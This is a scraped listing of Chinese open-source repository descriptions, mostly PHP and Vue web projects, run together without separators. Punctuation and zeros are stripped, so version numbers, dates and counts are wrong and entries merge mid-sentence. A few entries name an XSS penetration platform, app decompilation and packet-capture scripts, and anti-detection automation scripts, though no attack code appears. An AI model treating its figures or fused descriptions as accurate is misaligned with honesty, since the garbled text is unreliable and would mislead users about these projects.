支持白天与黑夜模式 无刷新加载等 阿里云 OSS 官方 SDK 的 Composer 封装 支持任何 PHP 项目 包括 Laravel Symfony TinyLara 等等 此插件将你的WordPress接入本土生态体系之中 使之更适合国内应用环境PHP的服务化框架 适用于Api Server Rpc Server 帮助原生PHP项目转向微服务化 出色的性能与支持高并发的协程相结合基于ThinkPHP V6 开发的面向API的后台管理系统 PHP Swoole 开发的在线同步点歌台 支持自由点歌 切歌 调整排序 删除指定音乐以及基础权限分级信呼 免费开源的办公OA系统 包括APP pc上客户端 REIM即时通信 服务端等 让每个企业单位都有自己的办公系统 来客电商 微信小程序商城 APP商城 公众号商城 PC商城系统 支付宝小程序商城 抖音小程序商城 百度小程序电商系统 前后端代码全部开源 注重界面美感与用户体验 打造独特电商系统生态圈哔哩哔哩 Bilibili B 站主站助手 直播助手 直播抽奖 挂机升级 贴心小棉袄脚本 Lv6 离你仅有一步之遥 PHP 版 Personal 一个运用php与swoole实现的统计监控系统短视频去水印 抖音 皮皮虾 火山 微视 微博 绿洲 最右 轻视频 快手 全民小视频 巴塞电影 陌陌 Before避风 开眼 Vue Vlog 小咖秀 皮皮搞笑 全民K歌 西瓜视频 中国农历 阴历 与阳历 公历 转换与查询工具AoiAWD 专为比赛设计 便携性好 低权限运行的EDR系统 项目管理系统后端接口ThinkPHP 队列支持Typecho Theme Aria 书写自己的篇章PHP 中文工具包 支持汉字转拼音 拼音分词 简繁互转 数字 金额大写 QQ群 17916227Yii2 community 请访问淘客5合一SDK 支持淘宝联盟 京东联盟 多多进宝 唯品会 苏宁基于 thinkphp 开发的的 blogMojito Admin 基于 Laravel Vue Element 构建的后台管理系统一个经典的XSS渗透管理平台一款基于 RageFrame2 的免费开源的基础销售功能的商城基于Laravel 5 4 的开发的博客系统 代号 myPersimmon证件照片排版在线生成器 在一张6寸的照片上排版多张证件照清华大学计算机学科推荐学术会议和期刊列表WordPress响应式免费主题 Art Blog唯品秀博客 weipxiu com 备用域名weipxiu cn 开源给小伙伴免费使用 如使用过程有任何问题 在线技术支持QQ 欢迎打扰 原创不易 如喜欢 请多多打赏 演示 EwoMail是基于Linux的企业邮箱服务器 集成了众多优秀稳定的组件 是一个快速部署 简单高效 多语言 安全稳定的邮件解决方案 笔记本新版简单强大的无数据库的图床2 版 演示地址 Bilibili B 站自动领瓜子 直播助手 直播挂机脚本 主站助手 PHP 版微信群二维码活码工具 生成微信群活码 随时可以切换二维码 短视频的PHP拓展包 集成各大短视频的去水印功能 抖音 快手 微视主流短视频 PHP去水印一个PHPer的升级之路酷瓜云课堂 在线教育 网课系统 网校系统 知识付费系统 不加密不阉割 1 %全功能开源 可免费商用 框架主要使用ThinkPHP6 layui 拥有完善的权限的管理模块以及敏捷的开发方式 让你开发起来更加的舒服 laravel5 5搭建的后台管理 和 api服务 的小程序商城基于ThinkPHP5 AdminLTE的后台管理系统魔改版本 为 OLAINDEX 添加多网盘挂载及一些小修复海豚PHP 基于ThinkPHP5 1 41LTS的快速开发框架挂载Teambition文件 可直链分享 支持网盘 需申请 和项目文件 无需邀请码 准确率99 9%的ip地址定位库laravel ant design vue 权限后台PHP 第三方登录授权 SDK 集成了QQ 微信 微博 Github等常用接口 支持 php fpm 和 Swoole 所有框架通用 QQ群 17916227抖音去水印PHP版接口一个分布式统计监控系统 包含PHP客户端 服务端整合多接口的IP查询工具 基于阿里云OSS的WordPress远程附件支持插件 后会有期 开箱即用的Laravel后台扩展 前后端分离 后端控制前端组件 无需编写vue即可创建一个的项目 丰富的表单 表格组件 强大的自定义组件功能 yii2 swoole 让yii2运行在swoole上胖鼠采集 WordPress优秀开源采集插件CatchAdmin是一款基于thinkphp6 和 element admin 开发的后台管理系统 基于 ServiceProvider 系统模块完全接耦 随时卸载安装模块 提供了完整的权限和数据权限等功能 大量内置的开发工具提升你的开发体验 官网地址 微信公众平台php版开发包微信小程序 校园小情书后台源码 好玩的表白墙 告白墙 功能全面的PHP命令行应用库 提供控制台参数解析 命令运行 颜色风格输出 用户信息交互 特殊格式信息显示基于 chinese poetry 数据整理的一份 mysql 格式数据帮助 thinkphp 5 开发者快速 轻松的构建Api hyperf admin 是基于 hyperf vue 的配置化后台开发工具 微信支付php 写的视频下载工具 现已支持 Youku Miaopai 腾讯 XVideos Pornhub 91porn 微博酷燃 bilibili 今日头条 芒果TVCorePress 主题 一款高性能 高颜值的WordPress主题快链电商 直播电商 分销商城 微信小程序商城 APP商城 公众号商城 PC商城系统 支付宝小程序商城 抖音小程序商城 百度小程序电商系统 前后端代码全部开源 Laravel vue开发 成熟商用项目 shop mall 商城 电商 利用 PHP cURL 转发 Disqus API 请求可能是最优雅 简易的淘宝客SDKUniAdmin是一套渐进式模块化开源后台 采用前后端分离技术 数据交互采用json格式 功能低耦合高内聚 核心模块支持系统设置 权限管理 用户管理 菜单管理 API管理等功能 后期上线模块商城将打造类似composer npm的开放式插件市场 同时我们将打造一套兼容性的API标准 从ThinkPHP5 1 Vue2开始 逐步吸引爱好者共同加入 以覆盖等多语言框架 PHP 多接口获取快递物流信息包LightCMS 是一个基于 Laravel 开发的轻量级 CMS 系统 也可以作为一个通用的后台管理框架使用单点登录系统快乐二级域名分发系统Typecho Theme Story 爱上你我的故事 一个轻量化的留言板 记事本 社交系统 博客 人类的本质是 咕咕咕?微信域名拦截检测 QQ域名拦截检测 t xzkxb com 查询有缓存 如需实时查询请自行部署 高性能分布式并发锁 行为限流Emlog是一款基于PHP和MySQL的功能强大的博客及CMS建站系统 追求快速 稳定 简单 舒适的建站体验Hyperf admin 基于Hyperf Element UI 通用管理后台企业仓库管理系统HisiPHP V2版是基于ThinkPHP5 1和Layui开发的后台框架 承诺永久免费开源 您可用于学习和商用 但须保留版权信息正常显示 如果HisiPHP对您有帮助 您可以点击右上角 Star 支持一下哦 谢谢 使用PHP开发的简约导航 书签管理系统 软擎是基于 Php 7 2 和 Swoole 4 4 的高性能 简单易用的开发框架 支持同时在 Swoole Server 和 php fpm 两种模式下运行 内置了服务 集成了大量成熟的组件 可以用于构建高性能的Web系统 API 中间件 基础服务等等 个人发卡源码 发卡系统 二次元发卡系统 二次元发卡源码 发卡程序 动漫发卡 PHP发卡源码聊天应用 php实现的dht爬虫搭建的webim客服系统 即时通讯一些实用的python脚本同城拼车微信小程序后端代码 一个响应式干净和简洁优雅的 Typecho 主题php仓库进销存深度学习5 问 以问答形式对常用的概率知识 线性代数 机器学习 深度学习 计算机视觉等热点问题进行阐述 以帮助自己及有需要的读者 全书分为18个章节 5 余万字 由于水平有限 书中不妥之处恳请广大读者批评指正 未完待续 如有意合作 联系scutjy2 15 163 com 版权所有 违权必究 Tan 2 18 6题解 记录自己的leetcode解题之路 最全中华古诗词数据库 唐宋两朝近一万四千古诗人 接近5 5万首唐诗加26万宋诗 两宋时期1564位词人 21 5 首词 uni app 是使用 Vue 语法开发小程序 H5 App的统一框架采用自身模块规范编写的前端 UI 框架 遵循原生 HTML CSS JS 的书写形式 极低门槛 拿来即用 我是依扬 木易杨 公众号 高级前端进阶 作者 每天搞定一道前端大厂面试题 祝大家天天进步 一年后会看到不一样的自己 YApi 是一个可本地部署的 打通前后端及QA的 可视化的接口管理平台小程序组件化开发框架网易云音乐 Node js API service基于 Vue js 的小程序开发框架 从底层支持 Vue js 语法和构建工具体系 ECMAScript 6入门 是一本开源的 JavaScript 语言教程 全面介绍 ECMAScript 6 新增的语法特性 谷粒 Chrome插件英雄榜 为优秀的Chrome插件写一本中文说明书 让Chrome插件英雄们造福人类公众号 加1 同步更新前端面试每日 3 1 以面试题来驱动学习 提倡每日学习与思考 每天进步一点 每天早上5点纯手工发布面试题 死磕自己 愉悦大家 4 道前端面试题全面覆盖小程序 软技能 本文原文由知名 Hacker Eric S Raymond 所撰寫 教你如何正確的提出技術問題並獲得你滿意的答案 千古前端图文教程 超详细的前端入门到进阶学习笔记 从零开始学前端 做一名精致优雅的前端工程师 公众号 千古壹号 作者 book Node js 包教不包会 by alsotang收集所有区块链 BlockChain 技术开发相关资料 包括Fabric和Ethereum开发资料轻量 可靠的小程序 UI 组件库微信小程序商城 微信小程序微店一个可以观看国内主流视频平台所有视频的客户端可伸缩布局方案基于 node js Mongodb 构建的后台系统 js 源码解析磁力链接聚合搜索中华人民共和国行政区划 省级 省份直辖市自治区 地级 城市 县级 区县 乡级 乡镇街道 村级 村委会居委会 中国省市区镇村二级三级四级五级联动地址数据 Web接口管理工具 开源免费 接口自动化 MOCK数据自动生成 自动化测试 企业级管理 阿里妈妈MUX团队出品 阿里巴巴都在用 1 公司的选择 RAP2已发布请移步至github com thx rap2 delosKuboard 是基于 Kubernetes 的微服务管理界面 同时提供 Kubernetes 免费中文教程 入门教程 最新版本的 Kubernetes v1 2 安装手册 k8s install 在线答疑 持续更新 ApacheCN 数据结构与算法译文集 chick 是使用 Node js 和 MongoDB 开发的社区系统一个非常适合IT团队的在线API文档 技术文档工具 Chinese sticker pack More joy 表情包的博物馆 Github最有毒的仓库 中国表情包大集合 聚欢乐 高颜值的第三方网易云播放器 支持 Windows macOS Linux vue2 vue router vuex 入门项目网易云音乐第三方 Flutter实战 电子书 一套代码运行多端 一端所见即多端所见 计算机速成课 Crash Course 字幕组 全4 集 2 18 5 1 精校完成 一个 react redux 的完整项目 和 个人总结中文独立博客列表CSS Inspiration 在这里找到写 CSS 的灵感 rich text 富文本编辑器 汉字拼音 hàn zì pīn yīn Chrome插件开发全攻略 配套完整Demo 欢迎clone体验微信调试 各种WebView样式调试 手机浏览器的页面真机调试 便捷的远程调试手机页面 抓包工具 支持 HTTPS 无需USB连接设备 master分支 渲染器 微信小程序组件 API 云开发示例简悦 SimpRead 让你瞬间进入沉浸式阅读的扩展让H5制作像搭积木一样简单 轻松搭建H5页面 H5网站 PC端网站 LowCode平台 一套组件化 可复用 易扩展的微信小程序 UI 组件库这是一个数据可视化项目 能够将历史数据排名转化为动态柱状图图表微信小程序图表charts组件 Charts for WeChat small app类似易企秀的H5制作 建站工具 可视化搭建系统 一个在你编程时疯狂称赞你的 VSCode 扩展插件全家桶后台管理框架解锁网易云音乐客户端变灰歌曲美观易用的React富文本编辑器 基于draft js开发一个致力于微信小程序和 Web 端同构的解决方案從零開始學 ReactJS ReactJS 1 1 是一本希望讓初學者一看就懂的 React 中文入門教學書 由淺入深學習 ReactJS 生態系源码解读 系列文章 完 我就是来分享脚本玩玩的开发者边车 github打不开 github加速 git clone加速 git release下载加速 stackoverflow加速vue源码逐行注释分析 4 多m的vue源码程序流程图思维导图 diff部分待后续更新 微信小程序解决方案 1KB javascript 覆盖状态管理 跨页通讯 插件开发和云数据库开发给老司机用的一个番号推荐系统 FeHelper Web前端助手记录成长的过程哔哩哔哩 bilibili com 辅助工具 可以替换播放器 推送通知并进行一些快捷操作提供了百度坐标 BD 9 国测局坐标 火星坐标 GCJ 2 和WGS84坐标系之间的转换F2etest是一个面向前端 测试 产品等岗位的多浏览器兼容性测试整体解决方案 ️ 阿里飞猪 很易用的中后台 表单 表格 图表 解决方案CRMEB Min 前后端分离版自带客服系统 是CRMEB品牌全新推出的一款轻量级 高性能 前后端分离的开源电商系统 完善的后台权限管理 会员管理 订单管理 产品管理 客服管理 CMS管理 多端管理 页面DIY 数据统计 系统配置 组合数据管理 日志管理 数据库管理 一键开通短信 产品采集 物流查询等接口 React技术揭秘 一本自顶向下的React源码分析书微信小程序 基于wepy 商城 微店 微信小程序 欢迎学习交流大屏数据可视化Pytorch 中文文档经典的网页对话框组件 强大的动态表单生成器 简洁 易用 灵活的微信小程序组件库 一款 Material Design 风格的 Hexo 主题签到一个帮助你自动申请京东价格保护的chrome拓展后台admin前端模板 基于 layui 编写的最简洁 易用的后台框架模板 只需提供一个接口就直接初始化整个框架 无需复杂操作 小程序生成图片库 轻松通过 json 方式绘制一张可以发到朋友圈的图片安卓应用层抓包通杀脚本一个轻量的工具集合婚礼大屏互动 微信请柬一站式解决方案mili 是一个开源的社区系统 界面优雅 功能丰富 丝般顺滑的触摸运动方案做最好的接口管理平台Mpx 一款具有优秀开发体验和深度性能优化的增强型跨端小程序框架省市区县乡镇三级或四级城市数据 带拼音标注 坐标 行政区域边界范围 2 21年 7月 3日最新采集 提供csv格式文件 支持在线转成多级联动js代码 通用json格式 提供软件转成shp geojson sql 导入数据库 带浏览器里面运行的js采集源码 综合了中华人民共和国民政部 国家统计局 高德地图 腾讯地图行政区划数据在vscode中用于生成文件头部注释和函数注释的插件 经过多版迭代后 插件 支持所有主流语言 功能强大 灵活方便 文档齐全 食用简单 觉得插件不错的话 点击右上角给个Star ️呀 JAVClub 让你的大姐姐不再走丢️你想要的最全 Android 进阶路线知识图谱 干货资料收集 开发者推荐阅读的书籍 2 2 淘宝 京东 支付宝双十一 双11全民养猫 全民营业自动化脚本 全额奖励 防检测 一款高性能敏感词 非法词 脏字 检测过滤组件 附带繁体简体互换 支持全角半角互换 汉字转拼音 模糊搜索等功能 前端博客 关注基础知识和性能优化 vue cli4配置vue config js持续更新PT 助手 Plus 为 Google Chrome 和 Firefox 浏览器插件 Web Extensions 主要用于辅助下载 PT 站的种子 基于vue2 koa2的 H5制作工具 让不会写代码的人也能轻松快速上手制作H5页面 类似易企秀 百度H5等H5制作 建站工具最全最新中国省 市 地区json及sql数据首个 Taro 多端统一实例 网易严选 小程序 H5 React Native By 趣店 FED地理信息可视化库企业级 Node js 应用性能监控与线上故障定位解决方案 Node js区块链开发 注 新版代码已开源 请star支持哦 基于Auto js的蚂蚁森林能量自动收取脚本 结巴 中文分词的Node js版本 译 面向机器学习的特征工程webfunny是一款轻量级的前端监控系统 webfunny也是一款前端性能监控系统 无埋点监控前端日志 实时分析前端健康状态一个实现汉字与拼音互转的小巧web工具库 演示地址 前端进阶 优质博文 一个 Chrome 插件 将 Google CDN 替换为国内的 Vue ElementUI构建的CMS开发框架超完整的React Native项目 功能丰富 适合学习和日常使用 GSYGithubApp系列的优势 我们目前已经拥有四个版本 功能齐全 项目框架内技术涉及面广 完成度高 配套文章 适合全面学习 对比参考 开源Github客户端App 更好的体验 更丰富的功能 旨在更好的日常管理和维护个人Github 提供更好更方便的驾车体验Σ 同款Weex版本同款Flutter版本 https github com CarGu 群 宇宙最强的前端面试指南 lucifer ren fe interview 微慕小程序开源版 WordPress版微信小程序函数式编程指北中文版Node js面试题 侧重后端应用与对Node核心的理解jQuery源码解析小白入坑vue三部曲 关于 vue 在工作的使用问题总结 请看博客 sunseekers github io 一直保持更新基于 Vue 的 PWA 解决方案 帮助开发者快速搭建 PWA 应用 解决接入 PWA 的各种问题ThinkCMF是一款支持Swoole的开源内容管理框架 基于ThinkPHP开发 同时支持PHP FPM和Swoole双模式 让WEB开发更快 微信小程序图片裁剪工具前端知识月刊Next Terminal是一个轻量级堡垒机系统 易安装 易使用 支持RDP SSH VNC Telnet Kubernetes协议 微信小程序 日历组件 基于 ueditor的更现代化的富文本编辑器 支持HTTPS基于JavaScript React Vue2的流程图组件 采用Spring MyBatis Shiro框架 开发的一套权限系统 极低门槛 拿来即用 设计之初 就非常注重安全性 为企业系统保驾护航 让一切都变得如此简单 QQ群 32478 2 4 145799952 一个前端的博客 春松客服 多渠道智能客服系统 开源客服系统 机器人客服一个工作流平台小程序 小游戏以及 Web 通用 Canvas 渲染引擎 在线工具秘籍 为在线工具写一本优质说明书 让在线工具造福人类 前端内参 有关于JavaScript 编程范式 设计模式 软件开发的艺术等大前端范畴内的知识分享 旨在帮助前端工程师们夯实技术基础以通过一线互联网企业技术面试 ️ vCards 中国黄页 优化 iOS Android 来电 信息界面体验各平台的分流规则 复写规则及自动化脚本 基于vue2 的实时聊天项目 图片剪裁上传组件 等笔记快速分享 GoogleDrive OneDrive 每日时报 以前端技术体系为主要分享课题 根据 文章 工具 新闻 视频几大板块作为主要分类 一款高效 高性能的帧动画生成工具 停止维护 一个在线音乐播放器 仅 UI 无功能 小程序富文本组件 支持渲染和编辑 html 支持在微信 QQ 百度 支付宝 头条和 uni app 平台使用基于 electron vue 开发的音乐播放器 界面模仿QQ音乐 技术栈欢迎starweui 是在weui和zepto基础上开发的增强UI组件 目前分为表单 基础 组件 js插件四大类 共计百余项功能 是最全的weui样式同步和更新大佬脚本库 更新懒人配置腾讯云即时通信 IM 服务 国内下载镜像 基于 Vue 的小程序开发框架React 16 8打造精美音乐WebAppWK系列开发框架 V1至V5 Java开源企业级开发框架 单应用 微服务 分布式 ️中国 省市区 三级联动 地址选择器 微信小程序2d动画库 分布式 Redis缓存 Shiro权限管理 Spring Session单点登录 Quartz分布式集群调度 Restful服务 QQ 微信登录 App token登录 微信 支付宝支付 日期转换 数据类型转换 序列化 汉字转拼音 身份证号码验证 数字转人民币 发送短信 发送邮件 加密解密 图片处理 excel导入导出 FTP SFTP fastDFS上传下载 二维码 XML读写 高精度计算 系统配置工具类等等 EduSoho 网络课堂是由杭州阔知网络科技有限公司研发的开源网校系统 EduSoho 包含了在线教学 招生和管理等完整功能 让教育机构可以零门槛建立网校 成功转型在线教育 EduSoho 也可作为企业内训平台 帮助企业实现人才培养 自用的一些乱七八糟 油猴脚本 为刚刚学习php语言以及web网站开发整理的一套资源 有视频 实战代码 学习路径等 会持续更新 This is a goindex theme 一个goindex的扩展主题 NumPy官方中文文档 完整版 搭建移动端开发 基于适配方案 axios封装 构建手机端模板脚手架 后台管理 脚手架接口 从简单开始 PhalApi简称π框架 一个轻量级PHP开源接口框架 专注于接口服务开发 前端特效存档Chrome浏览器 抢购 秒杀插件 秒杀助手 定时自动点击云存储管理客户端 支持七牛云 腾讯云 青云 阿里云 又拍云 亚马逊S3 京东云 仿文件夹管理 图片预览 拖拽上传 文件夹上传 同步 批量导出URL等功能font carrier是一个功能强大的字体操作库 使用它你可以随心所欲的操作字体 让你可以在svg的维度改造字体的展现形状 CRN是Ctrip React Native简称 由携程无线平台研发团队基于React Native框架优化 定制成稳定性和性能更佳 也更适合业务场景的跨平台开发框架 油猴脚本页面浮窗广告完全过滤净化 国服最强最全最新CSDN脚本微信小程序即时通讯模板 使用WebSocket通信小程序反编译 支持分包 “想学吗”个人知识管理与自媒体营销工具 超多经典 Canvas 实例 动态离子背景 炫彩小球 贪吃蛇 坦克大战 是男人就下1 层 心形文字等 Vue UEditor v model双向绑定 HQChart H5 微信小程序 沪深 港股 数字货币 期货 美股 K线图 kline 走势图 缩放 拖拽 十字光标 画图工具 截图 筹码图 分析家语法 通达信语法 麦语法 第3方数据替换接口基于koa2的标准前后端分离框架 一款企业信息化开发基础平台 拟集成OA 办公自动化 CMS 内容管理系统 等企业系统的通用业务功能 JeePlatform项目是一款以SpringBoot为核心框架 集ORM框架Mybatis Web层框架SpringMVC和多种开源组件框架而成的一款通用基础平台 代码已经捐赠给开源中国社区基于inception的自动化SQL操作平台 支持SQL执行 LDAP认证 发邮件 OSC SQL查询 SQL优化建议 权限管理等功能 支持docker镜像是一款专门面向个人 团队和小型组织的私有网盘系统 轻量 开源 完善 无论是在家庭 学校还是在办公室 您都能立刻开始使用它 了解更多请访问官方网站 Node js API 中文文档dubbo服务管理以及监控系统拯救B站的弹幕体验 对抗假消息系列项目之一 截屏 实锤?相信你就输了 ”突破性“更新 支持修改任何网站 ️一个简洁 优雅且高效的 Hugo 主题Vue js 示例项目 简易留言板 本项目拥有完善的文档说明与注释 让您快速上手 Vue js 开发? Vue Validator? Vuex?最佳实践基于 Node js Koa2 实战开发的一套完整的博客项目网站 用 React 编写的基于Taro Dva构建的适配不同端 微信 百度 支付宝小程序 H5 React Native 等 的时装衣橱信息泄漏监控系统 伪装115浏览器干爆前端 一网打尽前端面试 学习路径 优秀好文等各类内容 帮助大家一年内拿到期望的 offer 前端性能监控系统 消息队列 高可用 集群等相关架构SpringBoot v2项目是努力打造springboot框架的极致细腻的脚手架 包括一套漂亮的前台 无其他杂七杂八的功能 原生纯净 中文文本标注工具 最全最新中国 省 市 区县 乡镇街道 json csv sql数据 一款轻巧的渐进式微信小程序框架 全网 1 w 阅读量的进阶前端技术博客仓库 Vue 源码解析 React 深度实践 TypeScript 进阶艺术 工程化 性能优化实践 完整开源 Java快速开发平台 基于Spring SpringMVC Mybatis架构 MStore提供更多好用的插件与模板 文章 商城 微信 论坛 会员 评论 支付 积分 工作流 任务调度等 同时提供上百套免费模板任意选择 价值源自分享 铭飞系统不仅一套简单好用的开源系统 更是一整套优质的开源生态内容体系 铭飞的使命就是降低开发成本提高开发效率 提供全方位的企业级开发解决方案 每月28定期更新版本WeHalo 简约风 的微信小程序版博客 基于 vue2 vuex 构建一个具有 45 个页面的大型单页面应用基于Vue3 Element Plus 的后台管理系统解决方案基于 vue element ui 的后台管理系统鲜亮的高饱和色彩 专注视觉的小程序组件库 ️ 跨平台桌面端视频资源播放器 简洁无广告 免费高颜值 后台管理主线版本基于三者并行开发维护 同时支持电脑 手机 平板 切换分支查看不同的vue版本 element plus版本已发布 vue3 vue3 vue vue3 x vue js 程序无国界 但程序员有国界 中国国家尊严不容挑衅 如果您在特殊时期 mall admin web是一个电商后台管理系统的前端项目 基于Vue Element实现 主要包括商品管理 订单管理 会员管理 促销管理 运营管理 内容管理 统计报表 财务管理 权限管理 设置等功能 一款完善的安全评估工具 支持常见 web 安全问题扫描和自定义 poc 使用之前务必先阅读文档Vue数据可视化组件库 类似阿里DataV 大屏数据展示 提供SVG的边框及装饰 图表 水位图 飞线图等组件 简单易用 长期更新 React版已发布 UI表单设计及代码生成器基于Vue的可视化表单设计器 让表单开发简单而高效 基于vue的高扩展在线网页制作平台 可自定义组件 可添加脚本 可数据统计 vue后台管理框架 精致的下拉刷新和上拉加载 js框架 支持vue 完美运行于移动端和主流PC浏览器 基于vue2 vuex element ui后台管理系统 Vue js高仿饿了么外卖App课程源码 coding imooc com class 74 html京东风格移动端 Vue2 Vue3 组件库eladmin前端源码 项目基于的前后端分离后台管理系统 权限控制采用 RBAC 菜单动态路由资源采集站在线播放uView UI 是uni app生态最优秀的UI框架 全面的组件和便捷的工具会让您信手拈来 如鱼得水Vue2 全家桶仿 微信App 项目 支持多人在线聊天和机器人聊天前端vue 后端koa 全栈式开发bilibili首页 A magical vue admin 记得star互联网大厂内推及大厂面经整理 并且每天一道面试题推送 每天五分钟 半年大厂中 Vue3 全家桶 Vant 搭建大型单页面商城项目 新蜂商城 Vue3 版本 技术栈为基于Vue开发的XMall商城前台页面 PC端 Vue全家桶 Vant 搭建大型单页面电商项目 ddbuy 7 orange cn前后端分离权限管理系统 精力有限 停止维护 用 Vue js 开发的跨三端应用Prototyping Tool For Vue Devs 适用于Vue的原型工具实战商城 基于Vue2 高仿微信App的单页应用electron跨平台音乐播放器 可搜网易云 QQ音乐 虾米音乐 支持QQ 微博 Github登录 云歌单 支持一键导入音乐平台歌单ThorUI组件库 轻量 简洁的移动端组件库 组件文档地址 thorui cn doc 最近更新时间 2 21 5 28uni app框架演示示例 Electron Vue 仿网易云音乐windows客户端 基于 Vue2 Vue CLI3 的高仿网易云 mac 客户端播放器 PC Online Music PlayerGitHub 泄露监控系统pear 梨子 轻量级的在线项目 任务协作系统 远程办公协作自选基金助手是一款Chrome扩展 用来快速获取关注基金的实时数据 查看自选基金的实时估值情况支持 markdown 渲染的博客前台展示Vue 音乐搜索 播放 Demo 一个基于 vue2 vue3 的 大转盘 九宫格 抽奖插件奖品 文字 图片 颜色 按钮均可配置 支持同步 异步抽奖 概率前 后端可控 自动根据 dpr 调整清晰度适配移动端 基于 Vue 的在线音乐播放器 PC Online music player美团饿了吗外卖红包外卖优惠券 先领红包再下单 外卖红包优惠券 cps分成 别人领红包下单 你拿佣金 讨论如何构建一套可靠的大型分布式系统用 vue 写小程序 基于 mpvue 框架重写 weui 基于Vue框架构建的github数据可视化平台使用GitHub API 搭建一个可动态发布文章的博客可视化拖拽组件库 DEMO基于开源组件 Inception SQLAdvisor SOAR 的SQL审核 SQL优化的Web平台显示当前网站的所有可用Tampermonkey脚本 专注Web与算法无缝滚动component精通以太坊 中文版 网页模拟桌面基于的多模块前后端分离的博客项目网易云音乐 QQ音乐 咪咕音乐 第三方 web端 可播放 vip 下架歌曲 基于权限管理的后台管理系统基于 Node js 的开源个人博客系统 采用 Nuxt Vue TypeScript 技术栈 一款简洁高效的VuePress知识管理 博客 blog 主题基于uni app的ui框架基于Vue Vuex iView的电子商城网站 Vue2 全家桶 Vant 搭建大型单页面商城项目 新蜂商城前后端分离版本 前端Vue项目源码酷狗 ️ 极客猿梦导航 独立开发者的导航站 Vue SpringBoot MyBatis 音乐网站基于 RageFrame2 的一款免费开源的基础商城销售功能的开源微商城 基于vue2 的网易云音乐播放器 api来自于NeteaseCloudMusicApi v2 为最新版本编写的一套后台管理系统全栈开发王者荣耀手机端官网和管理后台基于 Vue3 x TypeScript 的在线演示文稿应用 实现PPT幻灯片的在线编辑 演示 基于vue2 生态的后台管理系统模板开发的后台管理系统 Vchat 从头到脚 撸一个社交聊天系统 vue node mongodb h5编辑器类似maka 易企秀 账号 密码 admin996 公司展示 讨论Vue Spring boot前后端分离项目 wh web wh server的升级版 基于element ui的数据驱动表单组件基于 GitHub API 开发的图床神器 图片外链使用 jsDelivr 进行 CDN 加速 免下载 免安装 打开网站即可直接使用 免费 稳定 高效 ️ Vue初 中级项目 CnodeJS社区重构预览 DEMO 基于vue2全家桶实现的 仿移动端QQ基于Vue Echarts 构建的数据可视化平台 酷炫大屏展示模板和组件库 持续更新各行各业实用模板和炫酷小组件 基于Spring Boot的在线考试系统 预览地址 129 211 88 191 账户分别是admin teacher student 密码是admin123 6pan 6盘小白羊 第二版 vue3 antd typescript on bone and knife 基于Vue 全家桶 2 x 制作的美团外卖APP 本项目是一款基于 Avue 的表单设计器 拖拽式操作让你快速构建一个表单 一刻社区前端源码基于Vue iView Admin开发的XBoot前后端分离开放平台前端 权限可控制至按钮显示 动态路由权限菜单 多语言 简洁美观 前后端分离 ️一个开源的社区程序 临时测试站 https t myrpg cnecharts地图geoJson行政边界数据的实时获取与应用 省市区县多级联动下钻 真正意义的下钻至县级 附最新geoJson文件下载 Vue的Nuxt js服务端渲染框架 NodeJS为后端的全栈项目 Docker一键部署 面向小白的完美博客系统vue瀑布流组件 vue waterfall easy 2 x Ego 移动端购物商城 vue vuex ruoter webpack Vue js Node js Mongodb 前后端分离的个人博客头像加口罩小程序 基于uniapp使用vue快速实现 广告月收入4k 基于vue3 的管理端模板教你如何打造舒适 高效 时尚的前端开发环境基于 Flask 和 Vue js 前后端分离的微型博客项目 支持多用户 Markdown文章 喜欢 收藏文章 粉丝关注 用户评论 点赞 动态通知 站内私信 黑名单 邮件支持 管理后台 权限管理 RQ任务队列 Elasticsearch全文搜索 Linux VPS部署 Docker容器部署等基于 vue 和 heyui 组件库的中后端系统 admin heyui topVue 轻量级后台管理系统基础模板uni app项目插件功能集合We川大小程序 scuplus 使用wepy开发的完善的校园综合小程序 4 页面 前后端开源 包括成绩 课表 失物招领 图书馆 新闻资讯等等常见校园场景功能一个全随机的刷装备小游戏一个vue全家桶入门Demo 是一個可以幫助您 Vue js 的項目測試及偵錯的工具 也同時支持 Vuex及 Vue Router 微信公众号管理系统 包含公众号菜单管理 自动回复 素材管理 模板消息 粉丝管理 ️等功能 前后端都开源免费 基于vue 的管理后台 配合Blog Core与Blog Vue等多个项目使用海风小店 开源商城 微信小程序商城管理后台 后台管理 VUE IT之家第三方小程序版客户端 使用 mpvue 开发 兼容 web vue 可以拖拽排序的树形表格 现代 Web 开发语法基础与工程实践 涵盖 Web 开发基础 前端工程化 应用架构 性能与体验优化 混合开发 React 实践 Vue 实践 WebAssembly 等多方面 数据大屏可视化编辑器一个适用于摄影从业者 爱好者 设计师等创意行业从业者的图像工具箱 武汉大学图书馆助手 桌面端基于form generator 仿钉钉审批流程创建 表单创建 流程节点可视化配置 必填条件及校验 一个完整electron桌面记账程序 技术栈主要使用electron vue vuetify 开机自动启动 自动更新 托盘最小化 闪烁等常用功能 Nsis制作漂亮的安装包 程序猿的婚礼邀请函 一个基于vue和element ui的树形穿梭框及邮件通讯录版本见示例见 基于Gin Vue Element UI的前后端分离权限管理系统的前端模块通用书籍阅读APP BookChat 的 uni app 实现版本 支持多端分发 编译生成Android和iOS 手机APP以及各平台的小程序基于Vue3的Material design风格移动端组件库进阶资深前端开发在线考试系统 springboot vue前后端分离的一个项目 ️ 无后端的仿 YouTube Live Chat 风格的简易 Bilibili 弹幕姬vue后端管理系统界面 基于ui组件iviewBilibili直播弹幕库 for Mac Windows LinuxVue高仿网易云音乐 基本实现网易云所有音乐 MV相关功能 现已更新到第二版 仅用于学习 下面有详细教程 武汉大学图书馆助手 移动端Zeus基于Golang Gin casbin 致力于做企业统一权限 账号中心管理系统 包含账号管理 数据权限 功能权限 应用管理 多数据库适配 可docker 一键运行 社区活跃 版本迭代快 加群免费技术支持 Vue高仿网易云音乐 Vue入门实践 在线预览 暂时停止基于 Vue 和 ElementUI 构建的一个企业级后台管理系统 ️ 跨平台移动端视频资源播放器 简洁免费 ZY Player 移动端 APP 基于 Uni app 开发 Vue实战项目基于参考小米商城 实现的电商项目 h5制作 移动端专题活动页面可视化编辑仿钉钉审批流程设置动态表单页面设计 自动生成页面微前端项目实战vue项目 基于vue3 qiankun2 进阶版 github com wl ui wl mfe基于 d2 admin的RBAC权限管理解决方案VueNode 是一套基于的前后端分离项目 基于仿京东淘宝的 移动端H5电商平台 巨树 基于ztree封装的Vue树形组件 轻松实现海量数据的高性能渲染 微信红包封面领取 用户观看视频广告或者邀请用户可获取微信红包序列号基于 Vue 的可视化布局编辑器插件kbone ui 是一套能同时支持 小程序 kbone 和 vue 框架开发的多端 UI 库 PS 新版 kbone ui 已出炉并迁移到 kbone 主仓库 此仓库仅做旧版维护之用 一个vue的个人博客项目 配合 net core api教程 打造前后端分离Tumo Blog For 